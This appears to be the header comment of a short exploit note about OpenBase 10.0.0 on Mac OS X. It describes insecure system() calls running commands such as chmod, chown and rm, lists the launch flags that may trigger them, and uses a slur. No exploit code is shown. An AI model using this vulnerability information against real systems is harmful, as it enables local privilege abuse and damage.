# This is some fairly blatant and retarded use of system()
#
# cd cp chmod chown rm mkdir and killall appear as strings in the binary hrmm can you cay system() !
# -restart -MachLaunch -launch -noexit -install_plugins -kill -install -uninstall and -deactivate all
# *may* be used to trigger these issues.
#
# I don't feel like seeing which flags call which binaries... just 3 is plenty to prove the point.

# Tested against OpenBase10.0.0_MacOSX.dmg
